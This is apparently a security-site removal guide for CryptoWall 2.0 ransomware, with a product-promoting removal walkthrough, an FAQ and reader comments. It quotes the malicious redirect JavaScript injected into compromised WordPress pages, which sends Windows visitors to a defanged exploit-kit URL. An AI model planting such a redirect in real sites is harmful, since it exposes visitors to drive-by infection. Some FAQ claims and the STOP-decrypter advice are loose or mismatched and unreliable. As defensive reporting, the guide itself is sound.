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Remove CryptoWall 2.0 and Restore the Encrypted Files


What Is CryptoWall 2.0?

The CryptoWall ransomware has been an enormous threat for network administrators and PC users, ever since it was initially released because it encrypts the local data as well as data found on network shares. The new version of the ransomware, CryptoWall 2.0 is now improved, which makes it even more difficult for the user to recover the encrypted files without paying the ransom.

CryptoWall 2.0 – What Does It Do?

The cyber criminals use their own TOR gateways in the newest CryptoWall version. An individual wallet ID is sent to each separate victim instead of the previously used hard coded links that were the same for nearly all victims. Also, the original unencrypted files are now securely deleted.

Own TOR Gateways

The ransom payment servers of CyptoWall are located on TOR. This allows the ransomware creators to stay hidden from the authorities. For the user to be able to connect to the server, he needs to access the TOR network, and most users find it rather difficult to install TOR in the first place. That is why CryptoWall used a Web-to-TOR gateway which allowed the ransomware victims to access the payment server easily. As the providers of this gateway realized what was happening, they started to blacklist their payment servers so they won’t be used for malicious purposes. The new version of CryptoWall has now its own payment servers – pay2tor.com, tor4pay.com and pay4tor.com.

A Unique Wallet ID for Each Victim

The users who chose to pay the ransom are provided with an individual wallet ID that is unique for each victim. Initially, the users were not presented with this option, which allowed people to steal other user’s payment transactions and use it as their own ransom payments. The unique payment addresses for each victim this is not possible anymore.

The Original Unencrypted Files Are Being Securely Deleted

This is another new feature for the CryptoWall 2.0. In the previous version, the ransomware would encrypt the victim’s data files and then just delete the original ones. This made it possible for data recovery tools to restore the information that was encrypted. This method can no longer be applied as CryptoWall 2.0 securely deletes the victim’s data. This leaves the compromised user with two options only: either to restore the files from backups or to pay the required sum.

How Did I Get It?

Security Experts have recently observed hackers exploiting vulnerable WordPress links in order to redirect computer users to servers that are hosting the RIG Exploit Kit. The latter abuses a large number of vulnerabilities in unpatched Flash, Java and many other applications in order to drop the new version of the this ransomware. According to Dynamoo’s Blog, the spammers behind this campaign are the same that distributed the recent eFax spam message, but this time they are delivering CryptoWall 2.0 instead. The same blog also reveals the following information:

  • hxxp:// is the server hosting the RIG Exploit Kit.
  • hxxp:// is the exploit redirector.
  • hxxp:// is the spam reported by the blog.

The compromised WordPress links are known to contain this code:

var OSName=”Unknown OS”;
if (navigator.appVersion.indexOf(“Win”)!=-1) OSName=”Windows”; if (navigator.appVersion.indexOf(“Mac”)!=-1) OSName=”MacOS”; if (navigator.appVersion.indexOf(“X11″)!=-1) OSName=”UNIX”; if (navigator.appVersion.indexOf(“Linux”)!=-1) OSName=”Linux”; var1=112; var2=var1;
if(OSName==”Windows”) {location.replace(“hxxp://”);}else{location.replace(“https://google.com/search?q=efax”);}

How to Remove CryptoWall 2.0 and Restore the Encrypted Files

Berta Bilbao

Berta is a dedicated malware researcher, dreaming for a more secure cyber space. Her fascination with IT security began a few years ago when a malware locked her out of her own computer.

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  • Step 1
  • Step 2
  • Step 3
  • Step 4
  • Step 5

Step 1: Scan for CryptoWall 2.0 with SpyHunter Anti-Malware Tool

1. Click on the "Download" button to proceed to SpyHunter's download page.

It is recommended to run a scan before purchasing the full version of the software to make sure that the current version of the malware can be detected by SpyHunter. Click on the corresponding links to check SpyHunter's EULA, Privacy Policy and Threat Assessment Criteria.

2. After you have installed SpyHunter, wait for it to update automatically.

scan for and delete ransomware virus step 2

3. After the update process has finished, click on the 'Malware/PC Scan' tab. A new window will appear. Click on 'Start Scan'.

scan for and delete ransomware virus step 3

4. After SpyHunter has finished scanning your PC for any files of the associated threat and found them, you can try to get them removed automatically and permanently by clicking on the 'Next' button.

scan for and delete ransomware virus step 4

If any threats have been removed, it is highly recommended to restart your PC.

Ransomware Automatic Removal - Video Guide

Step 2: Uninstall CryptoWall 2.0 and related malware from Windows

Here is a method in few easy steps that should be able to uninstall most programs. No matter if you are using Windows 10, 8, 7, Vista or XP, those steps will get the job done. Dragging the program or its folder to the recycle bin can be a very bad decision. If you do that, bits and pieces of the program are left behind, and that can lead to unstable work of your PC, errors with the file type associations and other unpleasant activities. The proper way to get a program off your computer is to Uninstall it. To do that:

1. Hold the Windows Logo Button and "R" on your keyboard. A Pop-up window will appear.
delete ransomware from windows step 1

2. In the field type in "appwiz.cpl" and press ENTER.
delete ransomware from windows step 2

3. This will open a window with all the programs installed on the PC. Select the program that you want to remove, and press "Uninstall"
delete ransomware from windows step 3Follow the instructions above and you will successfully delete most unwanted and malicious programs.

Step 3: Clean any registries, created by CryptoWall 2.0 on your computer.

The usually targeted registries of Windows machines are the following:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

You can access them by opening the Windows registry editor and deleting any values, created by CryptoWall 2.0 there. This can happen by following the steps underneath:

1. Open the Run Window again, type "regedit" and click OK.
delete ransomware virus registries step 1

2. When you open it, you can freely navigate to the Run and RunOnce keys, whose locations are shown above.
delete ransomware virus registries step 2

3. You can remove the value of the virus by right-clicking on it and removing it.
delete ransomware virus registries step 3 Tip: To find a virus-created value, you can right-click on it and click "Modify" to see which file it is set to run. If this is the virus file location, remove the value.

Before starting "Step 4", please boot back into Normal mode, in case you are currently in Safe Mode.
This will enable you to install and use SpyHunter 5 successfully.

Step 4: Boot Your PC In Safe Mode to isolate and remove CryptoWall 2.0


Manual Removal Usually Takes Time and You Risk Damaging Your Files If Not Careful!
We Recommend To Scan Your PC with SpyHunter

Keep in mind, that SpyHunter’s scanner is only for malware detection. If SpyHunter detects malware on your PC, you will need to purchase SpyHunter's malware removal tool to remove the malware threats. Read our SpyHunter 5 review. Click on the corresponding links to check SpyHunter's EULA, Privacy Policy and Threat Assessment Criteria

1. Hold Windows Key + R.
remove ransomware in safe mode step 1

2. The "Run" Window will appear. In it, type "msconfig" and click OK.
remove ransomware in safe mode step 2

3. Go to the "Boot" tab. There select "Safe Boot" and then click "Apply" and "OK".
remove ransomware in safe mode step 3
Tip: Make sure to reverse those changes by unticking Safe Boot after that, because your system will always boot in Safe Boot from now on.

4. When prompted, click on "Restart" to go into Safe Mode.
remove ransomware in safe mode step 4

5. You can recognise Safe Mode by the words written on the corners of your screen.
remove ransomware in safe mode step 5

Step 5: Try to Restore Files Encrypted by CryptoWall 2.0.

Method 1: Use STOP Decrypter by Emsisoft.

Not all variants of this ransomware can be decrypted for free, but we have added the decryptor used by researchers that is often updated with the variants which become eventually decrypted. You can try and decrypt your files using the instructions below, but if they do not work, then unfortunately your variant of the ransomware virus is not decryptable.

Follow the instructions below to use the Emsisoft decrypter and decrypt your files for free. You can download the Emsisoft decryption tool linked here and then follow the steps provided below:

1 Right-click on the decrypter and click on Run as Administrator as shown below:

stop ransomware decryptor step 1

2. Agree with the license terms:

stop ransomware decryptor step 2

3. Click on "Add Folder" and then add the folders where you want files decrypted as shown underneath:

stop ransomware decryptor step 3

4. Click on "Decrypt" and wait for your files to be decoded.

stop ransomware decryptor step 4

Note: Credit for the decryptor goes to Emsisoft researchers who have made the breakthrough with this virus.

Method 2: Use data recovery software

Ransomware infections and CryptoWall 2.0 aim to encrypt your files using an encryption algorithm which may be very difficult to decrypt. This is why we have suggested a data recovery method that may help you go around direct decryption and try to restore your files. Bear in mind that this method may not be 100% effective but may also help you a little or a lot in different situations.

1. Download the recommended Data Recovery software by clicking on the link underneath:

Simply click on the link and on the website menus on the top, choose Data Recovery - Data Recovery Wizard for Windows or Mac (depending on your OS), and then download and run the tool.

CryptoWall 2.0-FAQ

What is CryptoWall 2.0 Ransomware?

CryptoWall 2.0 is a ransomware infection - the malicious software that enters your computer silently and blocks either access to the computer itself or encrypt your files. 

Many ransomware viruses use sophisticated encryption algorithms to make your files inaccessible. The goal of ransomware infections is to demand that you pay a ransom payment to get access to your files back.

What Does CryptoWall 2.0 Ransomware Do?

Ransomware in general is a malicious software that is designed to block access to your computer or files until a ransom is paid.

Ransomware viruses can also damage your system, corrupt data and delete files, resulting in the permanent loss of important files.

How Does CryptoWall 2.0 Infect?

Via several ways.CryptoWall 2.0 Ransomware infects computers by being sent via phishing emails, containing virus attachment. This attachment is usually masked as an important document, like an invoice, bank document or even a plane ticket and it looks very convincing to users.

Another way you may become a victim of CryptoWall 2.0 is if you download a fake installer, crack or patch from a low reputation website or if you click on a virus link. Many users report getting a ransomware infection by downloading torrents.

How to Open .CryptoWall 2.0 files?

You can't without a decryptor. At this point, the .CryptoWall 2.0 files are encrypted. You can only open them once they are decrypted using a specific decryption key for the particular algorithm.

What to Do If a Decryptor Does Not Work?

Do not panic, and backup the files. If a decryptor did not decrypt your .CryptoWall 2.0 files successfully, then do not despair, because this virus is still new.

Can I Restore ".CryptoWall 2.0" Files?

Yes, sometimes files can be restored. We have suggested several file recovery methods that could work if you want to restore .CryptoWall 2.0 files. 

These methods are in no way 100% guaranteed that you will be able to get your files back. But if you have a backup, your chances of success are much greater.

How To Get Rid of CryptoWall 2.0 Virus?

The safest way and the most efficient one for the removal of this ransomware infection is the use a professional anti-malware program.

It will scan for and locate CryptoWall 2.0 ransomware and then remove it without causing any additional harm to your important .CryptoWall 2.0 files.

Can I Report Ransomware to Authorities?

In case your computer got infected with a ransomware infection, you can report it to the local Police departments. It can help authorities worldwide track and determine the perpetrators behind the virus that has infected your computer.

Below, we have prepared a list with government websites, where you can file a report in case you are a victim of a cybercrime:

Cyber-security authorities, responsible for handling ransomware attack reports in different regions all over the world:

Germany - Offizielles Portal der deutschen Polizei

United States - IC3 Internet Crime Complaint Centre

United Kingdom - Action Fraud Police

France - Ministère de l'Intérieur

Italy - Polizia Di Stato

Spain - Policía Nacional

Netherlands - Politie

Poland - Policja

Portugal - Polícia Judiciária

Greece - Cyber Crime Unit (Hellenic Police)

India - Mumbai Police - CyberCrime Investigation Cell

Australia - Australian High Tech Crime Center

Reports may be responded to in different timeframes, depending on your local authorities.

Can You Stop Ransomware from Encrypting Your Files?

Yes, you can prevent ransomware. The best way to do this is to ensure your computer system is updated with the latest security patches, use a reputable anti-malware program and firewall, backup your important files frequently, and avoid clicking on malicious links or downloading unknown files.

Can CryptoWall 2.0 Ransomware Steal Your Data?

Yes, in most cases ransomware will steal your information. It is a form of malware that steals data from a user's computer, encrypts it, and then demands a ransom in order to decrypt it.

In many cases, the malware authors or attackers will threaten to delete the data or publish it online unless the ransom is paid.

Can Ransomware Infect WiFi?

Yes, ransomware can infect WiFi networks, as malicious actors can use it to gain control of the network, steal confidential data, and lock out users. If a ransomware attack is successful, it could lead to a loss of service and/or data, and in some cases, financial losses.

Should I Pay Ransomware?

No, you should not pay ransomware extortionists. Paying them only encourages criminals and does not guarantee that the files or data will be restored. The better approach is to have a secure backup of important data and be vigilant about security in the first place.

What Happens If I Don't Pay Ransom?

If you don't pay the ransom, the hackers may still have access to your computer, data, or files and may continue to threaten to expose or delete them, or even use them to commit cybercrimes. In some cases, they may even continue to demand additional ransom payments.

Can a Ransomware Attack Be Detected?

Yes, ransomware can be detected. Anti-malware software and other advanced security tools can detect ransomware and alert the user when it is present on a machine.

It is important to stay up-to-date on the latest security measures and to keep security software updated to ensure ransomware can be detected and prevented.

Do Ransomware Criminals Get Caught?

Yes, ransomware criminals do get caught. Law enforcement agencies, such as the FBI, Interpol and others have been successful in tracking down and prosecuting ransomware criminals in the US and other countries. As ransomware threats continue to increase, so does the enforcement activity.

About the CryptoWall 2.0 Research

The content we publish on SensorsTechForum.com, this CryptoWall 2.0 how-to removal guide included, is the outcome of extensive research, hard work and our team’s devotion to help you remove the specific malware and restore your encrypted files.

How did we conduct the research on this ransomware?

Our research is based on an independent investigation. We are in contact with independent security researchers, and as such, we receive daily updates on the latest malware and ransomware definitions.

Furthermore, the research behind the CryptoWall 2.0 ransomware threat is backed with VirusTotal and the NoMoreRansom project.

To better understand the ransomware threat, please refer to the following articles which provide knowledgeable details.

As a site that has been dedicated to providing free removal instructions for ransomware and malware since 2014, SensorsTechForum’s recommendation is to only pay attention to trustworthy sources.

How to recognize trustworthy sources:

  • Always check "About Us" web page.
  • Profile of the content creator.
  • Make sure that real people are behind the site and not fake names and profiles.
  • Verify Facebook, LinkedIn and Twitter personal profiles.

  1. relic99

    The updated version will keep you from running or installing any virus solutions, remove the infected drive and slave it to another computer for scanning. A paid subscription to CryptoPrevent is the only tool I know of to prevent infections of the v2.

    1. Jay

      I ran into what must have been a new variant just a few days ago. I couldn’t eradicate it with the affected windows machine active, so I also slaved the infected drive to a non-infected machine, and proceeded to scan the entire drive with the following: Malwarebytes, Hitman Pro, TDSSKIller, Avast Antivirus, and finally followed up with ESET. And the infection still came back as soon as the machine was connected to the internet, evidently hooking some Internet Explorer process to do so. I could find no DNS alterations, no HOSTS file alterations, and no Winsock hooks or BHOs installed to account for it. I ended up wiping the drive and doing a factory restore. Something I rarely have to do for malware infections. Prior to doing that I attempted to recover files from shadow copies (Win 7 64bit), and none were present as the malware had wiped out the system restore points and all shadow file copies. I luckily was able to recover some files that hadn’t yet been encrypted, so it wasn’t a total loss. This was my first encounter with Cryptowall, and despite following the given advice I had found on removing it on various security forums,it still came back unfortunately. I had to concede defeat. Nasty bug.

  2. Ayesha

    Cryptowall 2.0 is what I got I found out what it was called days later . But it did not delete ? The originals ? As I went to look/ as i used recovery software the best one out there. I got the virus on 11-18-2014

  3. Chris

    I got the virus around 11/11/2014. At least that was the day I found out what it was and turned off my machine and rebooted in safe mode after doing research. Since then I have been trying to figure out how to restore the files that were encrypted. I have 2 months worth of photos that are encrypted, but the info does not add up. I hope someone could shed some light on the problem. If a file is encrypted then would the date modified or created be the date it was encrypted? I tried using Recuva and other software to restore but it says it was not deleted. Any ideas?

  4. Hipolito Gonzalez

    Hola buenos dias, mi pc fe infectada por el virus criptowall v3.0, y mis archivos fueron encriptados con la clave pùblica RSA 2048 y necesito recuperarlos, si alguien me puede ayudar se los agradecere mucho.

    1. Milena Dimitrova

      Hi Hipolito,

      We’re sorry to hear you have been infected with CryptoWall 2.0! Please sensorstechforum.com/forums/ join our forum and read the following topics: sensorstechforum.com/ forums/internet-and-networking-security/help-decrypt-files-encrypted-by-cryptowall-3-0/
      sensorstechforum.com /forums/malware-removal-questions-and-guides/how-to-remove-cryptowall-4-0-and-restore-your-data/

      Unfortunately, RSA-2048 encryption is quite difficult to break. We hope the tools mentioned in the topics help you recover your files! Don’t hesitate to ask us if you have other questions.

      Milena and STF team


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